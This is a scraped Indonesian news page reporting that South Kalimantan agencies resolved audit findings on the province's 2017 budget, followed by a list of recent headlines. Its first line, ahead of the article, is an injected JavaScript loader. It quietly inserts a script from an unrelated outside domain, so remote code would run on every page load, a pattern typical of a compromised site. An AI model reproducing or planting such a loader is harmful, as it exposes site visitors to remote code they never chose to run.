(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BPKP Kalsel Sempat Temukan Kekurangan Laporan dari APBD 2017


BANJARMASIN, Badan Pemeriksa Keuangan Perwakilan (BPKP) Kalsel membuat sebuah rekomendasi hasil dari pemeriksaan atas beberapa laporan pertanggungjawaban anggaran pendapatan dan belanja daerah (APBD) Kalsel 2017. Inspektur Kalsel Awi Sundari mengatakan, hasil beberapa temuan BPK dari empat sektor dengan 37 rekomendasi dan bisa ditindak lanjuti  dari Satuan Kerja Perangkat Daerah ditemukan di beberapa dinas. Antara lain Dinas Kesehatan, Dinas Pendidikan, RSUD Ulin Banjarmasin, dan Dinas Pekerjaan Umum

Menurut Alwi, beberapa temuan tersebut berada pada bidang belanja modalnya namun hal tersebut menurutnya sudah disempurnakan.

“Temuan tersebut banyak dibelanja modal, namun sudah disempurnakan,” ungkapnya.

Semua temuan dan rekomendasi tersebut telah ditindaklanjuti oleh SKPD terkait yang menjadi objek temuan. Rekomendasi yang diberikan oleh BPK, antara lain diminta melakukan review untuk meyakini hasil temuan karena sudah ditindaklanjuti. “Semua sudah clear dan dibuktikan rekon antara kami dengan BPK dari tanggal 4–8 Juni 2018,” terangnya.

Tindak lanjut dibuktikan dengan berita acara yang sudah ditandatangani. Semua temuan serta rekomendasi sudah ditindaklanjuti oleh SKPD terkait yang jadi objek temuan, rekomendasi antara lain diminta melakukan review untuk meyakini hasil temuan.

Nah, karena sudah ditindaklanjuti semua maka sudah clear dan dibuktikan. “Rekon antara kami pada tanggal 4 sampai 8 Juni 2018 berita acara sudah ditandatangani,’’ katanya.

Sementara itu, anggota DPD RI Perwakilan Kalsel, Antung Fatmawati menambahkan, meski ada temuan tapi BPK memberikan waktu untuk melakukan perbaikan. “Pemda di Kalsel sudah luar biasa. Hampir 100 persen mendapatkan opini wajar tanpa pengecualian (WTP). Kita nomor tiga se Indonesia,’’ ujarnya.

Di tempat yang sama, anggota rombongan DPDN, Ovita Anakotta menambahkan maksud kedatangan pihaknya hanya melakukan pengawasan sebagai mitra kerja pemerintah. Anggota DPD Perwakilan Maluku ini menegaskan, pihaknya tidak melakukan audit investigasi. “Fokus kami kepada pegembalian temuan kerugian negara, kalaupun ada kendala pengembalian laporkan ke kami untuk mencari solusi,’’ singkatnya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

6 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

8 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

11 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

12 jam ago

UPT PLN Pontianak Berbagi Kebahagiaan ke Masyarakat dan Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Pontianak melalui Yayasan Baitul Maal… Read More

14 jam ago

Panen Raya Semangka di Desa Pulau Kaladan

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas Muhammad Wiyatno bersama Wakil Bupati Dodo melaksanakan panen raya… Read More

17 jam ago

This website uses cookies.